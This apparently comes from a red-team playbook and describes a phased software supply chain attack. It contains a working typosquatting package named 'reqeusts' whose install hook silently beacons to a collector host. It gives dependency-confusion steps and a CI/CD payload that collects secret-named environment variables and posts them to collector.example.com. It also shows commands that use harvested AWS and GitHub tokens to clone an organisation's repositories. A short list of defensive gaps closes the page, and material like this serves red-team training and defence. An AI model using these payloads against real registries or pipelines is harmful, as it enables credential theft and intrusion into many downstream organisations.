Supply chain compromise¶
Infecting a software ecosystem or CI/CD pipeline to propagate collection capability to multiple organisations from a single point of compromise.
Scope and prerequisites¶
Target: one or more organisations that consume a common software component
Entry point: a package registry account, a developer account, or a CI/CD platform credential
Success criteria: collect build secrets and credentials from consuming organisations; optionally propagate further into their production environments
Phase 1: recon¶
Identify weak links in the target’s software supply chain.
# identify dependencies from public package manifests
# package.json (npm), requirements.txt (pip), go.mod (Go), Gemfile (Ruby)
# check GitHub: many organisations have public repos with these files
# check for unmaintained packages (last release 2+ years ago)
pip index versions PACKAGE_NAME # PyPI
npm view PACKAGE_NAME time # npm
# identify packages with weak maintainer account security
# (check haveibeenpwned.com for maintainer email addresses)
# check if the organisation uses a private package registry
# job postings, Dockerfile RUN commands, and CI config files often reveal this
# check GitHub Actions usage for mutable third-party action references
# (uses: org/action@main is mutable; uses: org/action@SHA is not)
grep -r 'uses:' .github/workflows/ | grep -v '@[a-f0-9]\{40\}'
Phase 2: compromise the upstream component¶
Option A: typosquatting¶
# register a package name that is a common typo of a popular package
# check availability first
pip index versions reqeusts # does this exist? if not, register it
# create a package that runs collection code on install
mkdir reqeusts && cd reqeusts
cat > setup.py << 'EOF'
from setuptools import setup
from setuptools.command.install import install
import subprocess, os
class PostInstall(install):
def run(self):
install.run(self)
# runs silently during pip install
subprocess.Popen(['python3', '-c',
'import os,socket,urllib.request; '
'urllib.request.urlopen("https://collector.example.com/beacon?"'
'+socket.getfqdn())'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
setup(name='reqeusts', version='2.32.4', # slightly higher than latest real version
cmdclass={'install': PostInstall})
EOF
python3 -m build
twine upload dist/*
Option B: dependency confusion¶
# if the organisation has a private package named 'internal-auth'
# and this name does not exist on the public PyPI:
# publish 'internal-auth' to PyPI with a version higher than the internal one
# pip will prefer the public version
# set version to 99.0.0 to guarantee it wins the version comparison
Option C: developer account compromise¶
Gain access to a legitimate maintainer account via credential stuffing or phishing, then push a malicious update to the existing package.
Phase 3: lateral propagation via CI/CD¶
Once the malicious package is consumed by a CI/CD pipeline, inject additional collection capability:
# malicious code in setup.py runs during 'pip install' in the pipeline
# at that point, pipeline environment variables (secrets) are accessible
import os, json, urllib.request
secrets = {k: v for k, v in os.environ.items()
if any(t in k.upper() for t in
['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'AWS', 'AZURE', 'GH_'])}
if secrets:
urllib.request.urlopen(urllib.request.Request(
'https://collector.example.com/pipeline',
data=json.dumps({
'host': os.getenv('GITHUB_REPOSITORY', os.uname().nodename),
'runner': os.getenv('RUNNER_NAME', ''),
'secrets': secrets
}).encode(),
headers={'Content-Type': 'application/json'}
))
Phase 4: collection from consuming organisations¶
With pipeline secrets in hand, use them to access the consuming organisations’ cloud environments and code repositories:
# use collected AWS credentials
AWS_ACCESS_KEY_ID=HARVESTED AWS_SECRET_ACCESS_KEY=HARVESTED \
aws sts get-caller-identity
# use collected GitHub token
curl -H "Authorization: token HARVESTED_TOKEN" \
https://api.github.com/orgs/TARGET_ORG/repos?per_page=100 |
python3 -c "import json,sys; [print(r['clone_url']) for r in json.load(sys.stdin)]" |
while read url; do git clone "$url"; done
Phase 5: exfiltration¶
Collected build secrets, repositories, and credential material are staged and exfiltrated to attacker infrastructure. Priority targets:
Cloud provider credentials (deploy and access production systems)
Code signing certificates (sign malicious binaries)
Infrastructure configuration (Terraform, CloudFormation)
Database connection strings
Private keys and certificates
Defensive gaps this exposes¶
Dependency verification: absence of hash pinning and signature verification in package manifests
Registry permissions: pipeline credentials with overly broad scope
Supply chain monitoring: no scanning of dependencies for malicious code
Least privilege in pipelines: pipeline tokens with access beyond the scope of the specific job
Third-party action pinning: use of mutable references in GitHub Actions